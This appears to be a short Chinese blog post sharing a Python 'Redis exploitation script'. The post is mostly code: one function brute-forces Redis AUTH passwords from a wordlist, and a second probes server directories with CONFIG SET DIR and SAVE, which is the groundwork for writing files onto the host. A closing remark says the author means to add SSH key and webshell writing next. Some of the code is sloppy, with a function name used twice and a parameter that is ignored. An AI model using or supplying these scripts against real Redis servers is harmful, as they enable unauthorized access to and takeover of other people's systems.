python3 Redis利用脚本

### Redis weakpassword

# 获取password
def passwd_dict(dict):
    with open(str(password_dict), 'r', encoding='utf-8') as f:
        passwd_list = f.readlines()
        passwd = []
        for i in passwd_list:
            passwd.append(i.rstrip('\n'))
    f.close()
    # print(passwd)
    return passwd

# 爆破密码
def intruder(ip, port, passwd):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5.0)
        s.connect((ip, int(port)))
        print("[*] 正在对{0}:{1}的密码进行爆破 [*]".format(ip, port))
        for p in passwd:

            send_data = 'AUTH {0}\r\n'.format(p)
            s.send(send_data.encode())
            print("[*] 正在尝试密码 {0} [*]".format(p))
            response = bytes.decode(s.recv(1024))
            if '+OK' in response:
                result = "[!] {0}:{1} 存在弱口令 {2} [!]".format(ip, port, p)
                print(result)
                sys.exit()

    except Exception as e:
        print("[-] {0}:{1} {2} [-]".format(ip, port, e))

### Redis IntruFolder
# 获取目录名称
def getargv(folderdict):
    with open(str(folderdict), 'r', encoding='utf-8') as f:
        folderlsit = f.readlines()
        folder = []
        for i in folderlsit:
            folder.append(i.rstrip('\n'))
    f.close()
    # print(passwd)
    return folder
# 爆破目录
def intruder(ip, port, folderlist):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(3.0)
        s.connect((ip, int(port)))
        print("[*] 正在对{}的目录进行爆破 [*]".format(ip))
        for p in folderlist:
            password = int('123456')
            send_data = 'CONFIG SET DIR {}\r\n SAVE\r\n'.format(p)
            s.send(send_data.encode())
            # print("[*] 正在尝试目录 {0} [*]".format(p))
            response = bytes.decode(s.recv(1024))
            if not '-ERR Changing directory: No such file or directory' in response:
                result = "[+]{0} [+]".format(p)
                print(result)
                # sys.exit()
            else:
                print('[-]{} [-]'.format(p))
    except Exception as e:
        print("[-] {0}:{1} {2} [-]".format(ip, port, e))

ps：简单记录下，后续会延展下windows的目录爆破或针对性的爆破web目录，以及添加写ssh key和webshell，欢迎各位师傅们评论指正缺点~